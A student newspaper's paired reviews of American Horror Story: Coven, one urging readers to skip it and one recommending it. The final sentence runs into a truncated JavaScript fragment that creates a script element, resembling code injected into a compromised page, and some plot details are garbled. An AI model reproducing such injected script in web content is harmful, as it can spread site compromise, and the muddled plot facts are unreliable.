Strathclyde Telegraph

Flick or Stick: American Horror Story

FLICK

by Gabrielle Lyons

Season one of American Horror Story had my skin crawling from the get-go. The initial story started in a predictable ‘scary-movie’ manner: a naïve family move into a house where all of its previous owners have committed murder between the walls, fittingly titled Murder House. With voices around corners, something lurking in the basement and a history of bloodied hands, the show starts with unsettling visuals, but the more the viewer becomes invested in the characters, the story morphs into a psychological battle. Although the occasional scene made me cower behind my knees, I couldn’t stop watching.

This short description of season one is just to create a justified review of the most recent series, American Horror Story: Coven. In all honesty you should know now before you waste too many hours on these forty-five minute episodes: flick! Don’t let the fish-eye lens and makeshift gothic genre sway you! Despite its movie budget and cinematography (Michael Goi), star-studded cast and incredible soundtrack, the storyline, lack of scare-factor and the overwhelming crassness take away from the original addiction of the first season.

The third installment focuses on a young witch as she discovers her powers in the most unfortunate way, and is shipped off to a boarding school to ‘refine’ her skills. Miss Robichaux’s Academy for Exceptional Young Ladies is a pristine white mansion in the middle of modern day New Orleans, but the plot gets bloody, sexual and crude before you have time to blink. Interestingly however, the story does touch on a thought-provoking motif: multiple characters are fighting with the fear of death and extinction, in a search for immortality.

The storyline has potential, Lange’s dry humor and blistering wit fuels the beginnings of the show, and I honestly do appreciate the pop-culture references and ‘witchy’ puns. However, Coven has unfortunately let character building slip in light of this. Furthermore, this season is focused on putting the viewer outside their comfort zone, touching on disturbing and taboo topics such as white supremacy, rape and child molesting. I personally had a hard time sitting through more than one episode at a time: oddly, I felt violated rather than scared. AHS: Coven at this point is a letdown, with its lack of character development and a complete absence of horror. Although only up to episode four, I will be giving this season a miss.

 

 

STICK

by Nicola McFayden

American Horror Story: Coven exploded back onto our screens on Fox at the beginning of October, in a typically over-the-top horror-story fashion. Coven is the third series of Ryan Murphy’s gory scare-fest, following on from Murder House and Asylum, which aired in 2011 and 2012 respectively.

Series three sees the return of many familiar faces, such as the fantastic Jessica Lange as the Supreme Witch of the Coven, Lily Rabe as a necromancer and Kathy Bates as the lady of the house, who has been buried alive for near on 200 years. The series opens in New Orleans, in the middle of the Salem Witch Hunts, where Kathy Bates plays the twisted Delphine LaLaurie, who makes her entertainment out of torturing her black slaves.

The action then jumps to over 200 years in the future, where a young girl realises she has a bizarre genetic affliction, which causes her to kill anyone she has any sort of intimate physical contact with (you can imagine her surprise upon dragging her boyfriend to bed!) She is immediately dragged away to a house in the middle of New Orleans, presided over by Jessica Lange, where she joins telekinetic movie star Madison (Emma Roberts), voodoo witch Queenie and Zoe, a young girl with Downs Syndrome who can hear the thoughts of others.

So why should you watch American Horror Story: Coven? If Glee wasn’t really your thing (Murphy wrote both series) and you have a taste for the supernatural and the downright bizarre, then this scare-fest is going to be right up your street. With a fantastic cast, and the return of many familiar faces, this cauldron of horror and gore promises to be the best series yet, with the plotline becoming more twisted and enthralling as each week goes by. A fair warning must be given however; it is definitely not for the faint hearted, and it’s not to be watched in the dark!var d=document;var s=d.createElement(‘script’);